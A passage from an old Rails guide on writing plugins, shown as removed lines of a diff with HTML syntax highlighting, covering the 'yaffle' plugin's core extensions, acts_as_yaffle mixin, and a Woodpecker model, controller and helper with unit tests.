-<pre><tt>String<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> to_squawk
- <span style="color: #FF0000">"squawk! #{self}"</span><span style="color: #990000">.</span>strip
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory. To see this in action, fire up a console and start squawking:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ./script/console
-&gt;&gt; "Hello World".to_squawk
-=&gt; "squawk! Hello World"</tt></pre>
-</div></div>
-<h3 id="_working_with_init_rb">3.1. Working with init.rb</h3>
-<div class="paragraph"><p>When rails loads plugins it looks for the file named <em>init.rb</em> or <em>rails/init.rb</em>. However, when the plugin is initialized, <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
-<div class="paragraph"><p>Under certain circumstances if you reopen classes or modules in <em>init.rb</em> you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p></div>
-<div class="paragraph"><p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Hash<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
- <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> <span style="color: #990000">::</span>Hash
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
- <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_add_an_em_acts_as_em_method_to_active_record">4. Add an <em>acts_as</em> method to Active Record</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A common pattern in plugins is to add a method called <em>acts_as_something</em> to models. In this case, you want to write a method called <em>acts_as_yaffle</em> that adds a <em>squawk</em> method to your models.</p></div>
-<div class="paragraph"><p>To begin, set up your files so that you have:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle/acts_as_yaffle'</span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
- <span style="font-style: italic"><span style="color: #9A1900"># your code will go here</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Note that after requiring <em>acts_as_yaffle</em> you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p></div>
-<div class="paragraph"><p>One of the most common plugin patterns for <em>acts_as_yaffle</em> plugins is to structure your file like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
- base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
- <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to classes, like Hickwall</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_something
- send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
- <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to instaces, like @hickwall</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
-<h3 id="_add_a_class_method">4.1. Add a class method</h3>
-<div class="paragraph"><p>This plugin will expect that you&#8217;ve added a method to your model named <em>last_squawk</em>. However, the plugin users might have already defined a method on their model named <em>last_squawk</em> that they use for something else. This plugin will allow the name to be changed by adding a class method called <em>yaffle_text_field</em>.</p></div>
-<div class="paragraph"><p>To start out, write a failing test that shows the behavior you&#8217;d like:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- acts_as_yaffle
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- load_schema
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
- base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
- cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle</tt></pre></div></div>
-<h3 id="_add_an_instance_method">4.2. Add an instance method</h3>
-<div class="paragraph"><p>This plugin will add a method named <em>squawk</em> to any Active Record objects that call <em>acts_as_yaffle</em>. The <em>squawk</em> method will simply set the value of one of the fields in the database.</p></div>
-<div class="paragraph"><p>To start out, write a failing test that shows the behavior you&#8217;d like:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- acts_as_yaffle
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- load_schema
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_hickwalls_squawk_should_populate_last_squawk
- hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
- hickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
- assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> hickwall<span style="color: #990000">.</span>last_squawk
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_wickwalls_squawk_should_populate_last_tweeted_at
- wickwall <span style="color: #990000">=</span> Wickwall<span style="color: #990000">.</span>new
- wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
- assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweet
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Run this test to make sure the last two tests fail, then update <em>acts_as_yaffle.rb</em> to look like this:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
- base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
- cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
- send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> squawk<span style="color: #990000">(</span>string<span style="color: #990000">)</span>
- write_attribute<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_text_field<span style="color: #990000">,</span> string<span style="color: #990000">.</span>to_squawk<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor&#8217;s note:</div>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_models">5. Models</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This section describes how to add a model named <em>Woodpecker</em> to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it&#8217;s customary to keep them in directories that match the rails directories. For this example, create a file structure like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>vendor/plugins/yaffle/
-|-- lib
-| |-- app
-| | |-- controllers
-| | |-- helpers
-| | |-- models
-| | | `-- woodpecker.rb
-| | `-- views
-| |-- yaffle
-| | |-- acts_as_yaffle.rb
-| | |-- commands.rb
-| | `-- core_ext.rb
-| `-- yaffle.rb</tt></pre>
-</div></div>
-<div class="paragraph"><p>As always, start with a test:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/yaffle/woodpecker_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- load_schema
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_woodpecker
- assert_kind_of Woodpecker<span style="color: #990000">,</span> Woodpecker<span style="color: #990000">.</span>new
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This is just a simple test to make sure the class is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
- path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
- <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the <em>load_once_paths</em> allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Woodpecker <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Finally, add the following to your plugin&#8217;s <em>schema.rb</em>:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.</p></div>
-</div>
-<h2 id="_controllers">6. Controllers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This section describes how to add a controller named <em>woodpeckers</em> to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.</p></div>
-<div class="paragraph"><p>You can test your plugin&#8217;s controller as you would test any other controller:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'woodpeckers_controller'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'action_controller/test_process'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> rescue_action<span style="color: #990000">(</span>e<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> e <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersControllerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- <span style="color: #009900">@controller</span> <span style="color: #990000">=</span> WoodpeckersController<span style="color: #990000">.</span>new
- <span style="color: #009900">@request</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestRequest<span style="color: #990000">.</span>new
- <span style="color: #009900">@response</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestResponse<span style="color: #990000">.</span>new
-
- ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>woodpeckers
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_index
- get <span style="color: #990000">:</span>index
- assert_response <span style="color: #990000">:</span>success
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
- path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
- <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Squawk!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to <a href="http://localhost:3000/woodpeckers">http://localhost:3000/woodpeckers</a> to see your controller in action.</p></div>
-</div>
-<h2 id="_helpers">7. Helpers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This section describes how to add a helper named <em>WoodpeckersHelper</em> to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.</p></div>
-<div class="paragraph"><p>You can test your plugin&#8217;s helper as you would test any other helper:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
